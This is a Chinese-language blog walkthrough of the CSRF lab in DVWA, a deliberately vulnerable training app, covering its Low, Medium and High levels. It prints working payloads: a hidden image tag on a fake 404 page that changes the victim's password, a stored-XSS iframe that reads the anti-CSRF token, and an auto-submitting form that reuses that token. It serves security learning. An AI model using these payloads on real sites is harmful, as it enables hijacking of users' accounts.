1. 程式人生 > >【DVWA】CSRF

【DVWA】CSRF

【CSRF】

全稱Cross-site request forgery,翻譯過來就是跨站請求偽造,是指利用受害者尚未失效的身份認證資訊(cookie、會話等),誘騙其點選惡意連結或者訪問包含攻擊程式碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證資訊所對應的)伺服器傳送請求,從而完成非法操作(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用。

【Low】

伺服器收到修改密碼的請求後,會檢查引數password_new與password_conf是否相同,如果相同,就會修改密碼,並沒有任何的防CSRF機制。

Ⅰ.通過構造連結,誘導使用者點選:

但是這樣很拙劣…一眼就可以看出來,而且會跳轉到提示密碼更改成功的頁面。在做滲透測試的時候可以用,但是實際的攻擊中一般情況下是不會攻擊成功的。

Ⅱ.偽造攻擊頁面:

<img src="http://192.168.133.128/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404 ERROR !<h1>

<h2>Files Not Found.<h2>

我們可以使用上面這一段指令碼,儲存成一個.html檔案,誘騙使用者點選這個頁面的連結,然後使用者會看到一個如下的頁面,類似一個404錯誤頁面:

但是在他們的不知道的時候,密碼已經被更改了:

【Medium】

stripos(string,find,start)

string:必需。規定被搜尋的字串。

find:必需。規定要查詢的字元。

start:可選。規定開始搜尋的位置。

返回值:返回字串在另一字串中第一次出現的位置,如果沒有找到字串則返回 FALSE。

所以上面的PHP程式碼是在referer欄位裡面找主機名,我這裡的主機名是192.168.133.128。

這個級別的CSRF,說實話,想了很久沒有想起來怎麼搞,後來去網上一搜,有個大佬在freebuf上寫的一篇文章裡說是將檔案命名為主機名,即192.168.133.128.html就可以了,所以我就來試了一下。因為需要referer欄位,所以我們必須把這個指令碼放在伺服器上。

(因為我只在一臺虛擬機器上搭建了伺服器,所以我又費了九牛二虎之力又搭建了一個伺服器…)

【High】

High級別的程式碼加入了Anti-CSRF token機制進行使用者的token驗證,來鑑定使用者的身份。所以我們要利用token進行繞過CSRF。

①首先我們需要先獲取使用者token…由於現在都已經不支援跨域請求訪問了,所以我們只能從別的地方入手獲取token,嘗試了很久之後發現可以利用下面的指令碼在XSS(Stored)的Name引數進行XSS攻擊,獲取使用者token。

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 然後利用下面的指令碼構造攻擊頁面進行攻擊,但是有點問題,因為攻擊成功之後會顯示提示密碼修改成功的頁面。

<script type="text/javascript">
    function attack()
    {
        document.getElementById("transfer").submit(); 
    }
</script>

<body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.133.128/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type='hidden' name='user_token' value="52ba1c9c2a51e07e50d9ad596f0822c0">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>

一時半會還沒想到怎麼解決這個問題。後面再說,先寫到這裡。Impossible級別就是加入了PDO技術防注入並且在修改密碼之前要求使用者輸入原密碼進行驗證,所以是相對安全的。